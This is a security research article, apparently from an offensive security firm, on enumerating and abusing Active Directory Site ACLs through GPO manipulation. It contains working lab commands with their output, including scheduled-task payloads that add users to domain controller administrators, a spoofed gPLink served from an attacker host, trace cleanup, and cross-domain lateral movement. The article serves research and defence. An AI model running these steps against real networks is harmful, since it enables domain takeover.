Site Unseen: Enumerating and Attacking Active Directory Sites
Active Directory Sites are a feature allowing to optimize network performance and bandwidth usage in AD internal environments. They are commonly implemented by large, geographically dispersed organizations spanning accross multiple countries or continents.
Sites did not receive much attention by the Active Directory offensive research community, comparatively to other ACL-based attack vectors. This article aims to demonstrate that not only do attack vectors targeting Active Directory sites exist, but that they can lead to impactful privilege escalation scenarios and to domain(s) compromise.
We will describe a pull request that we submitted to the BloodHound project in order to enumerate Site ACL attack paths, and how to exploit those paths in an efficient way with the tools that we recently released, related to GPO-based exploit vectors. Said compromise scenarios may allow attackers to elevate their privileges, as well as move laterally within an Active Directory forest.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
Sites are associated with the physical representation of an Active Directory environment, rather than with the identity side of it. As such, they may have been considered by the research community as less interesting from a security standpoint, and relegated to a situational, production-related / functional feature not offering real offensive opportunities.
While it is true that not all organizations rely on Active Directory sites for network distribution, this article aims to demonstrate that, when they exist, site-based ACL attack vectors can prove rather powerful and lead to the compromise of one or several domains. As a result, sites can be considered as critical infrastructure components, that are worth including in popular attack path visualisation tools such as BloodHound.
A documented, but lesser known exploitation technique relying on sites will also be described in this article. The exploitation of such a vector may allow an attacker to move laterally within a forest without being hindered by any SID filtering configuration. We will show how it can be concretely exploited, taking advantage of the recent GPO offensive tooling that we released a few months ago.
1. Active Directory sites 101
This first section will clarify what exactly Active Directory sites are, and how they are concretely implemented in Active Directory. If you are familiar with these concepts, feel free to skip ahead.
As was briefly mentioned above, Active Directory sites are all about network efficiency and bandwidth usage optimization. Sites are objects to which highly connected subnets are assigned – all the objects that are in these subnets (the computers as well as the users connecting to these computers) are part of the site. A site associates the resources from the grouped subnets for two main purposes:
-
Replication. In Active Directory, when a change is applied to a specific domain controller, other domain controllers (from the same domain for domain data, and across the forest for the schema and configuration partitions – see part 5 for more details) need to replicate it. There are two types of Active Directory replication: intra-site replication, and inter-site replication. Because the resources within a single site can communicate pretty fast, intra-site replication is performed by default rather regularly (every 5 minutes). As inter-site replication is more demanding network-wise, the bandwidth is compressed and Active Directory allows administrators to define the replication's settings through site links (180 minutes by default).
-
Authentication. A site should be assigned one or several servers, which are nothing more than domain controllers responsible for the site. Objects that are part of the site will prioritize the domain controllers that are configured as servers for the site.
By default, there exists only one site in a forest (named Default-First-Site-Name). Until another site is created, all objects are automatically assigned to this site and all replication is performed intra-site. If an administrator wishes to add another site, it must be configured and a site link must be assigned to it. A site link allows replication to take place between two sites, and defines the settings of the replication (for instance, the replication schedule). By default, site links are transitive, meaning that if site A is linked to site B, and site A is linked to site C, then site B is transitively linked to site C. This is performed via a site bridge, which is created automatically if the transitive attribute of site links was not explicitly disabled by an administrator.
Note that it is entirely possible to have orphaned sites that, due to a misconfiguration, are not linked with one another. This may obviously cause some serious issues in the environment, as the replication process will not take place, leading to discrepancies between domain controllers’ data.
Finally, it is important to mention that Active Directory sites are not in any way associated with domains repartition. A site may contain clients and domain controllers from various, distinct domains of the forest. This is why Active Directory domains handle the logical segmentation of the internal network resources, whereas sites constitute the physical, geographical representation of the environment.
More concretely, Sites, subnets, and site links are all LDAP objects located in the configuration naming context that is replicated forest-wide – in the CN=Sites,CN=Configuration,DC=corp,DC=com container (more details on this in part 5).
Managing sites can be performed from the Sites and Services Active Directory GUI.
2. Why care?
Now that the concepts behind Active Directory sites are a bit clearer, why should we, from an offensive standpoint, care about it? Especially if sites are only used to group objects for network efficiency purposes?
As it turns out, it is possible to assign Group Policy Objects (GPOs) to Active Directory sites. The site objects have a gPLink attribute, describing the GPOs that all the objects associated with the site will apply. This makes sense, as some location-specific configurations may need to be applied by sites (firewall rules, browser favourites, visual identity, etc.). But this also makes for interesting GPO-based attack vector opportunities.
Indeed, if an attacker was somehow able to link a malicious GPO to a site, or to poison a GPO already linked to it, they could compromise all the objects of the site, including the domain controllers that are acting as site servers.
Several ACL-based attack paths may enable such a scenario, which is why Active Directory site ACLs should be considered interesting – or even critical when enumerating Active Directory environments.
3. Sites enumeration: integrating Active Directory sites into BloodHound
We observed that, consistent with the low popularity of sites in Active Directory offensive research, no tool seems to currently collect and enumerate site ACLs in order to highlight potential high-impact attack paths. More specifically, the BloodHound go-to tool for Active Directory attack paths enumeration and visualisation does not yet include this kind of data.
Although dangerous ACLs affecting sites may not be as frequent as other misconfigurations related to more common object types, it is important to catch them when they exist, due to the high potential impact they can have. Which is why we just submitted a pull request to SharpHound, the SharpHoundCommon library, as well as to the BloodHound project. These pull request implement the following features:
-
Collect data about sites, site servers, and site subnets when enumerating data from the Active Directory environment.
-
Represent site data in the BloodHound interface, by associating each site with the related server and subnet objects.
-
Add sites to the default high value targets, as control over a site results in the potential compromise of all objects associated with the site, including at least one domain controller acting as the site server.
-
Create control edges targeting site objects (GenericAll, GenericWrite, WriteGPLink), as these permissions are exploitable (more on that in the next part).
-
Integrate GPLink edges from Group Policy Objects to sites, in order to enumerate when a GPO affects a site (making control over such a GPO all the more interesting).
The following screenshots represent a preview of the pull request. Please note that this is only provided for information purposes. The actual implementation will of course depend on the pull request’s review performed by BloodHound’s team. If the pull request goes through, both visual representation and implementation may vary.
4. Exploiting sites « GPO-style » for privilege escalation and domain(s) compromise
Now that the enumeration part is covered, the next section will concretely describe the different exploitation scenarios that can affect site objects, and how to exploit them.
a. Controlling a GPO linked to a site
The first exploitation scenario is the most straightforward, and occurs when a user has any kind of write privileges over a Group Policy Object that is linked to a site. In that case, said user may inject a malicious configuration into the site-linked GPO, and compromise any (or all) object(s) associated with the site.
For the rest of this section, demonstrations will be performed with the following environment in mind. A corporation has an Active Directory forest, with the corp.com root domain. It has three sites: the default Default-First-Site-Name site (for the main offices of the organization in Paris), as well as the NewYork and Sidney sites for its regional offices.
Let us assume that an attacker compromised the adove user, which has control over the Paris_Servers_Firewall_Rules GPO. This GPO is linked to the Default-First-Site-Name default site, which has one server, AD01-DC from the corp.com root domain.
This can be exploited by injecting a malicious configuration into the Paris_Servers_Firewall_Rules GPO, and waiting for the AD01-DC domain controller to apply it in order to compromise the DC’s domain.
To do so, the GroupPolicyBackdoor.py tool that we recently released can be used. It provides a stable exploitation framework for GPO manipulation in python. The project’s wiki describes in details how the tool works, and provides command examples. In a nutshell, the configuration that one wishes to inject into the target GPO is described by an ini file. While various configurations are supported (see the modules_templates directory), we will inject a simple immediate Scheduled Task into the GPO, that adds our controlled adove user to the local administrators group. Note that we are also only targeting the AD01-DC domain controller by using a Computer Name filter, since we do not want all the computers in the site to execute our task. The following file ImmediateTask_create.ini is created:
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators corp.com\adove /add"
[MODULEFILTERS]
filters =
[
{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-dc.corp.com"
}
]
The described configuration can now simply be injected into the target GPO with the gpo inject command.
$ python3 gpb.py gpo inject -d 'corp.com' --dc ad01-dc.corp.com -u 'adove' -p 'Password1' -m ImmediateTask_create.ini -n "Paris_Servers_Firewall_Rules"
GPB - INJECT command - 2025-10-30 15:04:24.346517
[#] Command execution setup
[+] All modules validated
[*] State folder is state_folders/2025_10_30_150424
[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads
[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)
[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated
[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version
[+] GPB INJECT command success
All that is left to do, is wait for the target domain controller to apply the malicious Scheduled Task, and add the adove user to the local Administrators group – meaning, the Domain Admins group of the corp.com domain. GPO refresh for domain controllers happens every 5 minutes, after which it is possible to verify that our user is indeed local administrator of the domain controller, by connecting to the administrative C$ share.
$ smbclient '\\ad01-dc.corp.com\C$' -U 'corp.com\adove' --password 'Password1'
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin DHS 0 Thu Dec 21 09:28:19 2023
$WinREAgent DH 0 Thu Jun 12 18:37:16 2025
Documents and Settings DHSrn 0 Thu Dec 21 18:06:11 2023
DumpStack.log.tmp AHS 12288 Thu Oct 30 22:25:32 2025
pagefile.sys AHS 738197504 Thu Oct 30 22:25:32 2025
PerfLogs D 0 Sat May 8 01:20:24 2021
Program Files DR 0 Thu Dec 21 18:57:48 2023
Program Files (x86) D 0 Thu Dec 21 09:29:25 2023
ProgramData DHn 0 Tue Aug 26 00:10:17 2025
[...]
GroupPolicyBackdoor.py can then be used to remove the injected configuration with the gpo clean command, in order to remove exploitation traces.
$ python3 gpb.py gpo clean -d corp.com --dc ad01-dc.corp.com -u 'adove' -p 'Password1' -sf state_folders/2025_10_30_150424
GPB - CLEAN command - 2025-10-30 15:11:19.450167
[#] Command execution setup
[*] State folder is state_folders/2025_10_30_151119
[#] Cleaning configuration of type Scheduled Tasks (computer)
[*] Cleaning configuration with identifier {22E4F6F1-6E6C-4449-8CD0-8D8CD76211A5}
[*] Found the XML node to remove
[*] Deleting empty file \\ad01-dc.corp.com\SYSVOL\corp.com\Policies\{CFD9229F-488C-445D-9829-8B8A443E0575}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[*] Extension names should be updated
[+] Successfully cleaned configuration Scheduled Tasks (computer)
[+] Successfully updated extension names ('gPCMachineExtensionNames')
[+] GPB CLEAN command success
b. Exploiting GenericAll, GenericWrite or WriteGPLink rights over a site
The second exploitation scenario happens when a user has either GenericAll, GenericWrite or WriteGPLink permissions over a site. This may happen because of nested group memberships or configurations mishaps that are commonly observed in Active Directory environments. But this can also result from a deliberate administrative choice. Indeed, Active Directory explicitly allows administrators to delegate the ability to manage Group Policy links for a site.
The GenericAll, GenericWrite and WriteGPLink ACLs all allow to do one interesting thing from an attacker standpoint: alter the gPLink attribute of the site.
The gPLink attribute is an LDAP attribute that indicates which GPO is linked to the container (domain, Organizational Unit or, in our case, site). With the ability to modify the gPLink’s value, an attacker may trick the objects linked to the target container into applying a malicious GPO. This can be achieved in two ways.
The first way is the most straightforward. If an attacker controls any GPO in the domain, they would be able to inject a malicious configuration into it, and then link it to the target site, taking advantage of their GenericAll, GenericWrite or WriteGPLink permissions. Again, this can be performed using the GroupPolicyBackdoor.py tool. The commands needed to inject a malicious configuration into a GPO are the same as the one described above. Linking the altered GPO can then be executed with the links link command.
$ python3 gpb.py links link -d corp.com --dc ad01-dc.corp.com -o 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com' -n 'CONTROLLED' -u 'aacre' -p 'Password1'
GPB - LINK command - 2025-10-30 15:21:00.734878
[#] Command execution setup
[*] State folder is state_folders/2025_10_30_152100
[#] Creating link for 1 containers
[*] Creating link for 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com'
[+] Successfully created link on 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com'
[+] GPB LINK command success
In case the attacker does not have control over a GPO, the GenericAll, GenericWrite or WriteGPLink ACLs can still be abused with limited prerequisites. The technique involved was first described by Petros Koutroumpis in his great research “OU having a laugh”. We later built upon it to demonstrate how this technique could be used to compromise protected objects in Organizational Units or exploit limited OU rights in the following article. We also released a tool automating the attack, OUned.py.
The principle behind the attack is explained in details in Petros Koutroumpis’ article, as well as in ours. We will not go over it in details again. The core principle of the attack is to add a GPO link to the gPLink attribute of the target container (here, the site). This GPO link points to a DNS name resolving to a machine under the attacker’s control, e.g. s1n.corp.com:
[LDAP://cn={7B7D6B23-26F8-4E4B-AF23-F9B9005167F6},cn=policies,cn=system,DC=s1n,DC=corp,DC=com;0]
Objects associated with the site would then try to fetch the GPO on the attacker’s machine, which would simulate a valid Group Policy Container (LDAP), as well as a valid Group Policy Template (SMB) to serve the malicious GPO the clients are trying to apply, thus compromising said clients.
Here is a quick demonstration using OUned.py. Let’s assume that the aacre user has WriteGPLink permissions over the NewYork site, which has the AD01-DC2 site server as domain controller of corp.com:
OUned.py takes a configuration file, such as the following:
[GENERAL]
# The target domain name
domain=corp.com
# The target DC. If not specified, defaults to the domain name
dc=ad01-dc2.corp.com
# The Distinguished Name of the target container - here, the site
containerDN=CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com
# The username and password of the user having write permissions on the gPLink attribute of the target site
username=aacre
password=Password1
# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.17
# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
#command=whoami
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki
module=ImmediateTask_create_computer.ini
# The kind of objects targeted ("computer" or "user")
target_type=computer
[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.138
# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-QGNGA6OQUNO
# The username and password of a domain administrator on the dummy domain controller
ldap_username=Administrator
ldap_password=Password1!
# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=52BD7653-916B-45D0-B57C-6FEF64742FFD
# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=S1N$
ldap_machine_password=[K,t.RM8rzQgA9Y&`SQ2Qd$-]NQ+[1T:i<gTjzmrh8)0TrKq'-YY1USFZ]c"C`K.olFM#7_,3-:'2t%9_c(+o% g,GNedM$hR\mgWUEnk/O-q*v>cQFP#P?&
[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded
share_name=synacktiv
OUned.py was recently modified to take as input a module file, with the same format as the ones used with GroupPolicyBackdoor (see the module configuration element). Said file (here, ImmediateTask_create_computer.ini) describes the malicious configuration that will be delivered to the target objects as part of the exploit. In the present case, the file will again be a simple immediate task, adding the controlled aacre user to the local Administrators group, i.e. the domain admins group of the NewYork site’s domain controller. Note that we only target the domain controller by defining a filter ; this might be important if you do not want all the objects of the site to apply your malicious configuration.
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators corp.com\aacre /add"
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-dc2.corp.com"
}]
Let’s launch OUned.py with the defined configuration. OUned poisons the gPLink attribute of the site, then waits for objects associated with the NewYork site to update their GPOs. It will only deliver the malicious immediate task to the site’s server, AD01-DC21.
$ python3 OUned.py --config config.ini
=== PERFORMING VARIOUS SANITY CHECKS RELATED TO THE SETUP ===
[+] LDAP computer account S1N$ valid in target domain.
[+] The DNS record S1N.corp.com exists and matches the provided attacker IP address (192.168.123.17)
[+] Successfully authenticated to LDAP server with DC account and LDAP machine_password. LDAP and machine account passwords are synchronized.
=== SETTING UP PORT FORWARDING ===
[*] Creating LDAP port forwarding. All traffic incoming on port 389 on attacker machine (192.168.123.17) should be redirected on port 389 of the fake LDAP server (192.168.125.138)
[+] Created port forwarding (192.168.123.17:389 -> 192.168.125.138:389)
=== PERFORMING GPO OPERATIONS (CLONING, INJECTING SCHEDULED TASK, UPLOADING TO SMB SERVER IF NEEDED) ===
[*] The save file for current exploit run is cleaning/CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com/2025_11_01-07_05_31.txt
[*] Cloning GPO 52BD7653-916B-45D0-B57C-6FEF64742FFD from fakedc 192.168.125.138.
[+] Successfully downloaded GPO from fakedc to 'GPT_out' folder.
[*] Injecting malicious scheduled task into downloaded GPO
module is not none, generating XML
[INFO] Validating module /tmp/ImmediateTask_create_computer.ini
[+] Successfully injected malicious scheduled task.
[*] Modifying gPCFileSysPath attribute of GPO on fakedc to \\192.168.123.17\synacktiv (initial value saved: \\s1n.corp.com\SysVol\s1n.corp.com\Policies\{52BD7653-916B-45D0-B57C-6FEF64742FFD})
[+] Successfully updated gPCFileSysPath attribute of fakedc GPO.
[*] Modifying gPCMachineExtensionNames attribute of GPO on fakedc to [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[+] Successfully updated extension names of fakedc GPO.
[*] Incrementing fakedc GPO version number (GPC and cloned GPT). This is actually mainly to ensure it is not 0...
[+] Successfully updated GPC versionNumber attribute
=== SPOOFING THE GPLINK ATTRIBUTE OF THE TARGET OU ===
[*] Searching the target container 'CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com'.
[+] Container found - CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com.
[*] Initial gPLink is [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0].
[*] Spoofing gPLink to [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={52BD7653-916B-45D0-B57C-6FEF64742FFD},cn=policies,cn=system,DC=S1N,DC=corp,DC=com;0]
[+] Successfully spoofed gPLink for container CN=NewYork,CN=Sites,CN=Configuration,DC=corp,DC=com
=== LAUNCHING SMB SERVER AND WAITING FOR GPT REQUESTS ===
If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO
Type CTRL+C when you're done. This will trigger cleaning actions
After 5 minutes at most, the AD01-DC2 domain controller attempts to refresh its GPOs, and will try to apply the malicious one. The exploit via the OUned.py tool simulates a valid GPC, as well as a valid GPT, and delivers the malicious GPO. After this is done, it is possible to hit CTRL+C to trigger cleaning actions (mainly reverting the gPLink attribute of the site).
[...]
Type CTRL+C when you're done. This will trigger cleaning actions
[FORWARDER] Incoming connection from ('192.168.123.21', 57252) - client is querying its GPC (LDAP), forwarding to 192.168.125.138:389
[*] Received an authentication request from CORP\AD01-DC2$,AD01-DC2
[*] Validating user through netlogon service
[+] Successfully authenticated CORP\AD01-DC2$ through Netlogon
[*] Granted access to CORP\AD01-DC2$,AD01-DC2
[+] CORP\AD01-DC2$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST !
^C
=== Cleaning and restoring previous GPC attribute values ===
[*] Restoring value of gPCFileSysPath on 'ldap_server' - \\s1n.corp.com\SysVol\s1n.corp.com\Policies\{52BD7653-916B-45D0-B57C-6FEF64742FFD}
[+] Successfully restored gPCFileSysPath on 'ldap_server'
[*] Restoring value of gPCMachineExtensionNames on 'ldap_server' - [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[+] Successfully restored gPCMachineExtensionNames on 'ldap_server'
[*] Restoring value of versionNumber on 'ldap_server' - 1
[+] Successfully restored versionNumber on 'ldap_server'
[*] Restoring value of gPLink on 'domain' - [LDAP://cn={0F9D4847-04C8-478E-941D-ED072758DF86},cn=policies,cn=system,DC=corp,DC=com;0][LDAP://cn={556A8B50-F22B-42DF-8557-2EF54EF5C97D},cn=policies,cn=system,DC=corp,DC=com;0]
[+] Successfully restored gPLink on 'domain'
Finally, we can verify that the aacre user is now local administrator of the AD01-DC2 domain controller – meaning the corp.com domain is compromised.
$ smbclient'\\ad01-dc2.corp.com\C$' -U 'corp.com\aacre' --password 'Password1'
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin DHS 0 Mon Oct 13 23:28:56 2025
Documents and Settings DHSrn 0 Mon Oct 13 23:26:25 2025
DumpStack.log.tmp AHS 12288 Sat Nov 1 13:56:21 2025
pagefile.sys AHS 1476395008 Sat Nov 1 13:56:21 2025
PerfLogs D 0 Mon Apr 1 00:02:26 2024
Program Files DR 0 Mon Oct 13 23:28:38 2025
Program Files (x86) DR 0 Mon Apr 1 01:16:03 2024
ProgramData DHn 0 Mon Oct 13 23:54:56 2025
[...]
5. Abusing Active Directory sites for intra-forest lateral movement
This final section describes another interesting attack vector involving Active Directory sites, this time for lateral movement. More specifically, this technique allows an attacker having compromised a domain in a forest to compromise the other domains of the forest, no matter what the SID filtering configuration is.
This technique was greatly described in the extensive research « SID filter as security boundary between domains? » by Jonas Bülow Knudsen, Martin Sohn Christensen and Tobias Thorbjørn Munch Torp. This research is constituted of 7 articles describing various intra and inter forest lateral movement techniques. The one that interests us was described in Part 4.
The aim of the section is to try and make this technique more widely known, as well as demonstrate that it can be exploited in a pretty practical way using GroupPolicyBackdoor.py.
a. The attack’s theory
It was previously mentioned in the article that site-related objects were located in the configuration naming context of the LDAP directory.
A naming context, also called directory partition, designates a specific part of the central directory, with an independent replication scope and scheduling data. By default, Active Directory implements three distinct partitions:
-
The schema partition: this part of the central directory acts as a blueprint and describes the objects that exist in the forest, as well as their structure. This partition is replicated forest-wide, meaning that every domain controller in the forest have an identical copy of the schema partition, even if they are from different domains. The replication process (inter, or intra site) ensures that the partition is the same in the whole forest.
-
The configuration partition: this partition primarily holds information related to the network topology and assets related to replication (such as sites). Same as the schema partition, every domain controller in a forest have the same version of the configuration partition, which is replicated between them.
-
The domain partition: the domain partition contains the directory objects, such as users and computers, associated with the local domain. This partition is replicated within a domain, but is not shared with the other domains of the forest.
The interesting point here is that the configuration partition is replicated in the whole forest, and every domain controller from any domain in the forest holds a writable copy of this partition.
This concretely means that an attacker having compromised any domain in the forest (e.g. a child domain) can alter the configuration partition of the forest. Which, in turn, means that said attacker can modify the AD sites’ configuration. As we just demonstrated throughout the article, sites can be associated with Group Policy Objects. As a result, from the domain they compromised, the attacker would be able to link a malicious GPO to one or several site(s) containing the domain controllers of other domains in the forest. Upon replication of the configuration naming context, the domain controllers of the target domain(s) will apply the malicious GPO, resulting in their compromise.
To be more specific about the permissions on the configuration partition, the following principals have write access to it by default: the Domain Admins group of the forest’s root domain, the Enterprise Admins and Enterprise Domain Controllers groups, and finally the NT AUTHORITY\SYSTEM local account of any domain controller on which the configuration partition is stored. On any other domain than the forest’s root domain, being domain administrator is thus not enough to alter the configuration partition. To do so, it is necessary to execute commands as the SYSTEM account of a domain controller.
Note that the described attack vector is not hindered by any hardening measure related to SID filtering.
One prerequisite for the attack to work is that the domain controller(s) that is targeted through the site should have network connectivity to at least one domain controller of the domain that was compromised. Indeed, the malicious GPO will typically be hosted in the compromised domain ; fetching it thus requires LDAP and SMB traffic from the target domain controller to the compromised one. This prerequisite will be met in the vast majority of cases. Indeed, if the compromised and target domain controllers are in the same site, intra-site replication requires domain controllers to communicate with each others. Similarly, if the compromised and target domains have domain controllers placed in adjacent sites (sites that are directly linked by a site link), typically at least one of the compromised domain controllers should be reachable by one of the target site (what is known as the « bridgehead servers »). This prerequisite may not be met in the case of networks that are not fully routed, and for which replication is performed via transitive site links. It will however always be possible to move across site links and compromise a site linked with the target one, in order to finally pivot to it2.
b. In practice
As it is often the case with GPO-based attack vectors, articles describing the present technique may not always provide an end-to-end practical demonstration as how it can be exploited. This section aims at describing how the exploitation can be concretely performed, using GroupPolicyBackdoor.py.
For illustration purposes, we will consider an Active Directory forest, whose root domain is corp.com. This domain has a child domain, dev.corp.com. The forest only has a single site, the default Default-First-Site-Name, which contains all of the forest’s assets. An attacker compromised the dev.corp.com child domain, and wishes, from there, to compromise the forest’s root domain, corp.com. The devadm user is controlled by the attacker and is domain administrator on dev.corp.com.
Two steps are necessary to carry out the attack. First, a malicious GPO should be created on the compromised domain (one could also inject a malicious configuration into an existing one). This can be achieved with the gpo create command of GroupPolicyBackdoor.py. Here, we will create a GPO with the name LATERAL.
$ python3 gpb.py gpo create -d dev.corp.com --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!' -s S-1-5-21-2015307081-2275635861-2347354195 -n 'LATERAL'
GPB - CREATE command - 2025-11-01 07:51:31.259289
[#] Command execution setup
[*] State folder is state_folders/2025_11_01_075131
[#] Group Policy Container creation
[+] Successfully created Group Policy Container for CN={4F594057-88EC-4C8C-9FC9-A167B0A75242},CN=Policies,CN=System,DC=dev,DC=corp,DC=com
[#] Group Policy Template creation
[+] Successfully created Group Policy Template for CN={4F594057-88EC-4C8C-9FC9-A167B0A75242},CN=Policies,CN=System,DC=dev,DC=corp,DC=com
[+] GPB CREATE command success
Once the GPO is created, a malicious configuration can be injected into it. As always and to keep things simple, we will inject an immediate task adding the controlled user devadm from the child domain to the local Administrators group. The AD01-DC machine (a domain controller of corp.com) will be targeted.
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators dev.corp.com\devadm /add"
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-dc.corp.com"
}]
$ python3 gpb.py gpo inject -d 'dev.corp.com' --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!' -m ~/modules/ImmediateTask_create_computer.ini -n LATERAL
GPB - INJECT command - 2025-11-01 07:53:28.239889
[#] Command execution setup
[+] All modules validated
[*] State folder is state_folders/2025_11_01_075328
[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads
[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)
[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated
[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version
[+] GPB INJECT command success
The malicious GPO is ready, and has the GUID 4F594057-88EC-4C8C-9FC9-A167B0A75242. The attacker now needs to link it to the Default-First-Site-Name site. To do so, and as explained in the previous section, it is necessary to execute commands as SYSTEM on a domain controller of dev.corp.com. Several options are available to do so. The most straightforward would be to use Scheduled Tasks. While it would for instance be possible to use the atexec.py utility from the impacket suite, this might not be the best solution if an EDR is installed on the target machine. Let’s instead keep exploiting GPOs: we will inject a Scheduled Task into the Default Domain Controllers Policy of the child domain, that will run as SYSTEM and link the malicious GPO to the site using a powershell cmdlet.
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = powershell.exe
arguments = New-GPLink -Name LATERAL -Target \"CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com\" -Server dev01-dc.dev.corp.com
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "dev01-dc.dev.corp.com"
}]
$ python3 gpb.py gpo inject -d 'dev.corp.com' --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!' -m ~/modules/ImmediateTask_create_computer_link.ini -n "Default Domain Controllers Policy"
GPB - INJECT command - 2025-11-01 07:56:19.178868
[#] Command execution setup
[+] All modules validated
[*] State folder is state_folders/2025_11_01_075619
[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads
[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)
[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated
[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version
[+] GPB INJECT command success
Now, all that is left to do is wait. After maximum 5 minutes, the altered Default Domain Controller Policy GPO will make the SYSTEM account of DEV01-DC perform the link action. The gPLink value of the Default-First-Site-Name site will be updated with the additional malicious GPO LATERAL.
Replication of the configuration partition then happens after 5 additional minutes (since we are in the same site as our target). Finally, after another 5 minutes, the AD01-DC machine executes the malicious GPO LATERAL, adding the devadm user to the local administrators group, meaning the Domain Admins of corp.com.
To verify this, one could connect to the administrative C$ share of AD01-DC.
$ smbclient '\\ad01-dc.corp.com\C$' -U 'dev.corp.com\devadm' --password 'Password1!'
Try "help" to get a list of possible commands.
smb: \> dir
$Recycle.Bin DHS 0 Thu Dec 21 09:28:19 2023
$WinREAgent DH 0 Thu Jun 12 18:37:16 2025
Documents and Settings DHSrn 0 Thu Dec 21 18:06:11 2023
DumpStack.log.tmp AHS 12288 Sat Nov 1 13:28:03 2025
GPReport.html A 585908 Fri Oct 10 00:01:13 2025
inetpub D 0 Thu Dec 21 09:29:25 2023
pagefile.sys AHS 738197504 Sat Nov 1 13:28:03 2025
PerfLogs D 0 Sat May 8 01:20:24 2021
picpoc.txt A 21 Sat Oct 11 16:57:29 2025
Program Files DR 0 Thu Dec 21 18:57:48 2023
Program Files (x86) D 0 Thu Dec 21 09:29:25 2023
ProgramData DHn 0 Tue Aug 26 00:10:17 2025
[...]
As always, it is possible to clean up the injected configurations and remove the created GPO with GroupPolicyBackdoor.py.
Conclusion
Attack paths involving Active Directory sites may not be the most common ones, or the most conveniently exploitable ones. However, when they do exist, they might prove quite critical as they could lead to full domain(s) compromise.
From a defensive perspective, it may thus be important to regularly review the ACLs that are assigned to your Active Directory site objects. This is especially the case if your organization delegates site-related rights for administrative purposes. In addition, detection rules could be created for artefacts related to GPO-based attack vectors, such as GPOs modifications, creation, or the alteration of the gPLink attribute of sensitive containers.
- 1. Note that when launching OUned, we specified AD01-DC2 as domain controller – in this way, the gPLink attribute will be modified on this DC – if we had taken another DC located in another site, we would have had to wait 180 minutes (by default) for the replication to happen, and for the objects of the NewYork site to pick up the modification of the gPLink attribute associated with their site.
